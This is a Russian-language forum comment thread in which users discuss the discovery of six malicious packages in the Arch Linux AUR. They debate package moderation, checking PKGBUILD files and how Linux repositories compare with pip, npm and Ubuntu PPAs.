	52. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
	Сообщение от Аноним (47), 02-Авг-25, 08:16
	Таких васянов там сразу отлавливают, этот и полдня не продержался. Отличная работа
	Ответить | Правка | Наверх | Cообщить модератору

	77. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (77), 02-Авг-25, 10:38
	Не совсем. Поскольку у них нет премодерации пакетов от не пойми кого.
	Ответить | Правка | Наверх | Cообщить модератору

	82. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от ЖИРОПЕРДЯСТИК (?), 02-Авг-25, 10:53
	> Таких васянов там сразу отлавливают Главное верить. Тысячегласс смотрят!
	Ответить | Правка | К родителю #52 | Наверх | Cообщить модератору

	99. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Аноним (57), 02-Авг-25, 12:38
	> Тысячегласс смотрят! https://skillbox.ru/upload/setka_images/11561419052025_44197...
	Ответить | Правка | Наверх | Cообщить модератору

	94. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:14
	Not a bug, а фича. Нормальный aur helper перед установкой любого пакета оттуда сначала показывает pkgbuild файл, а дальше всё зависит от прослойки между монитором и креслом.
	Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

	135. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (38), 02-Авг-25, 18:35
	Посмотри как в xz бэкдор всунули и подумай, поможет ли тебе чтение pkgbuild файлов.
	Ответить | Правка | Наверх | Cообщить модератору

45. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
Сообщение от Аноним (45), 02-Авг-25, 07:44
А что ваш там pip или npm прям безопасны да? Или PPA Ubuntu? Берешь себе за правило - изучать каждый PKGBUILD и всё, проблема решена! Собственно, по мимо администраторов, юзеры тоже могут проверять PGBUILDы и указывать на нарушения. Ну и не хрен ставить все подряд, не думая и не проверяя, такой подход угробит любую ОСь, хоть даже винду, мак или андроид.
Ответить | Правка | Наверх | Cообщить модератору

	53. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–2 +/–
	Сообщение от Anonimm (?), 02-Авг-25, 08:18
	> изучать каждый PKGBUILD А потом удивляться, что вас всего 4%..
	Ответить | Правка | Наверх | Cообщить модератору

	81. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (75), 02-Авг-25, 10:51
	> вас всего 4% Нас даже официально 5%. Не считая суверенных установок, которые используются во всем мире, а не только в РФ, "как думают некоторые студенты", и вряд ли попадают в данную статистику.
	Ответить | Правка | Наверх | Cообщить модератору

	121. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 15:01
	Тебе надо 146%?
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	134. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (141), 02-Авг-25, 18:27
	> А потом удивляться, что вас всего 4%.. Умных людей во все времена было мало
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	137. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (38), 02-Авг-25, 18:36
	Наличие ума и линукса на десктопе имеет обратную корреляцию.
	Ответить | Правка | Наверх | Cообщить модератору

	139. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (141), 02-Авг-25, 19:15
	Цитаты вяликих людей?
	Ответить | Правка | Наверх | Cообщить модератору

63. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
Сообщение от Аноним (63), 02-Авг-25, 09:13
А ведь в убунтовском launchpad ppa не меньше, или даже больше малвари от ноунэйм авторов. А в aur то не бинари, а pkgbuild, что как бы позволяет увидеть подмену.
Ответить | Правка | Наверх | Cообщить модератору

	87. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Аноним (87), 02-Авг-25, 11:58
	> А в aur то не бинари Говоришь так, будто бы их там нет...
	Ответить | Правка | Наверх | Cообщить модератору

	119. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (113), 02-Авг-25, 14:52
	Для тугодумов разжую. PKGBUILD это простой bash скрипт, даже если пакет собирается из бинарников, в этом скрипте находятся ссылки на источники с которых эти бинарники качаются. Никто не мешает заглянуть в PKGBUILD (хоть через вебморду) и убедится что файлы качаются с официального сайта/репозитория.
	Ответить | Правка | Наверх | Cообщить модератору

67. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–2 +/–
Сообщение от Аноним (67), 02-Авг-25, 09:37
Достаточно не ставить свежие пакеты из аур.
Ответить | Правка | Наверх | Cообщить модератору

	73. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 10:26
	это арч, там в принципе нет несвежих пакетов
	Ответить | Правка | Наверх | Cообщить модератору

86. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
Сообщение от Аноним (86), 02-Авг-25, 11:57
Это проблема куда шире чем кажется. Разработчик вылежат своё ПО только под Win и Mac, он не будит собирать под 100500 диструбтивов Linux на 4% рынка дисктопов! А пользователь хочет именно пользоваться ОС, то есть устанавливать ПО в пару кликов через GUI. Вот здесь у тех, у кого красные глаза и бубен в руках решают монетанизировать свой мазахизм чёрными методами!
Ответить | Правка | Наверх | Cообщить модератору

	95. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:17
	Просто ввёл название пакета в терминал и установил его, даже не кликая мышью. чяднт? Или искать в интернетах удобнее?
	Ответить | Правка | Наверх | Cообщить модератору

	142. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (140), 02-Авг-25, 19:55
	виндузятнику же удобнее "бесплатно и без смс" - он по другому и не умеет...
	Ответить | Правка | Наверх | Cообщить модератору

93. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
Сообщение от Аноним (93), 02-Авг-25, 12:13
От AUR отказала два года назад, когда скачал бинарник и решил проверить на вирустотал - бэкдор.
Ответить | Правка | Наверх | Cообщить модератору

	96. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:23
	Aур использую чтоб качать 1 пакет, zapret.
	Ответить | Правка | Наверх | Cообщить модератору

97. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–2 +/–
Сообщение от Аноним (97), 02-Авг-25, 12:34
Антивирус Линуксу не нужен!! ВСЁ БЕЗОПАСНО! РАСХОДИМСЯ!
Ответить | Правка | Наверх | Cообщить модератору

	108. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Сообщение (?), 02-Авг-25, 13:50
	Кто так говорит, подразумевает, что пакеты будут ставиться из оф репов, а не из пользовательских файлопомоек
	Ответить | Правка | Наверх | Cообщить модератору

	110. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 14:20
	иди погугли, чем троян отличается от вируса
	Ответить | Правка | К родителю #97 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема